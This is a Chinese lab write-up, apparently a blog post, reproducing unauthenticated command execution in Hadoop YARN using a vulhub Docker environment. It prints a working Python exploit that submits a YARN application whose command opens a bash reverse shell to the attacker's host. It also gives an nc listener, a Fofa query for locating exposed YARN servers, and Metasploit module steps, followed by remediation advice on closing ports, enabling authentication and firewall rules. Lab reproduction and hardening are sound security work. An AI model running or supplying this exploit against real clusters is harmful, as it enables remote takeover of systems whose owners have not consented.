[ vulhub漏洞复现篇 ] Hadoop-yarn-RPC 未授权访问漏洞复现
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞简述
- 二、影响范围
- 三、指纹信息
- 四、环境搭建:
- 1、进入Hadoop-yarn-未授权访问漏洞环境
- 2、开启Hadoop-yarn-未授权访问漏洞环境
- 3、查看Hadoop-yarn-未授权访问漏洞环境
- 4、访问Hadoop-yarn-未授权访问漏洞环境
- 5、查看Hadoop-yarn-未授权访问漏洞提示
- 五、漏洞复现
- 1、环境
- 2、Getshell
- exp
- 攻击机监听
- 靶机连接
- Getshell成功
- 六、Msf进行攻击
- 1、进入msf控制台
- 2、搜索相关模块
- 3、使用模块
- 4、设置靶机
- 5、运行模块
- 6、Getshell
- 七、修复建议
- 八、相关资源
一、漏洞简述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
HDFS是一个分布式文件系统,具有高容错性的特点,并且被设计用来部署在廉价的硬件上;而且它能够以高吞吐量来访问应用程序的数据,尤其适合那些有着超大数据集的应用程序。MapReduce是一个使用简易的软件框架,基于它编写出来的应用程序能够运行在由上千个商用机器组成的大型集群上,并以一种可靠容错的方式并行处理上T级别的数据集。
二、影响范围
3.3.0版本以下
三、指纹信息
Fofa
app="APACHE-hadoop-YARN"
四、环境搭建:
1、进入Hadoop-yarn-未授权访问漏洞环境
cd vulhub/hadoop/unauthorized-yarn
2、开启Hadoop-yarn-未授权访问漏洞环境
docker-compose up -d
3、查看Hadoop-yarn-未授权访问漏洞环境
docker-compose ps
4、访问Hadoop-yarn-未授权访问漏洞环境
http://192.168.13.131:8088/
5、查看Hadoop-yarn-未授权访问漏洞提示
cat README.md
五、漏洞复现
1、环境
靶机:kali :192.168.13.131
攻击机:windows:192.168.13.1
2、Getshell
exp
#!/usr/bin/env python
import requests
import sys
target = 'http://192.168.13.131'#目标机ip
lhost = '192.168.13.1' c##将你的本地ip填在这里,使用nc监听55555端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/55555 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
把exp代码写入txt更改后缀名为py就可以执行了
我这里名称改成了unauthorized-yarn-hadoop.py
攻击机监听
.\nc.exe -lvvp 55555 #在攻击机上用NC工具开启55555侦听端口\
靶机连接
python3 unauthorized-yarn-hadoop.py http://192.168.13.131:8088 #执行Exp
Getshell成功
六、Msf进行攻击
1、进入msf控制台
Msfconsole
2、搜索相关模块
search hadoop
3、使用模块
use exploit/linux/http/hadoop_unauth_exec
4、设置靶机
set rhosts 192.168.13.131
5、运行模块
Run
6、Getshell
我分别执行了以下三条命令
getuid
ls
Ifconfig
七、修复建议
1、如无必要,关闭 Hadoop Web 管理页面,不要将接口开放在公网,改为本地或者内网调用
2、开启身份验证,防止未经授权用户访问
3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
详细端口列表如下:
a)HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480
b)YARN(JobTracker)
ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060
c)Hue 默认端口 8080
d)YARN(JobTracker)
master 默认端口 60010
regionserver 默认端口60030
e)hive-server2 默认端口 10000
f)spark-jdbcserver 默认端口 10003
4.设置防火墙策略
如果正常业务中Hadoop服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。
iptables -A INPUT -s x.x.x.x -p tcp --dport 8088 -j ACCEPT
注意:x.x.x.x 修改为实际IP或者网段
八、相关资源
docker 搭建 vulhub 靶场环境:
https://blog.csdn.net/qq_51577576/article/details/125048165
反弹shell的集中常见方式(一)nc反弹shell
https://blog.csdn.net/qq_51577576/article/details/126128251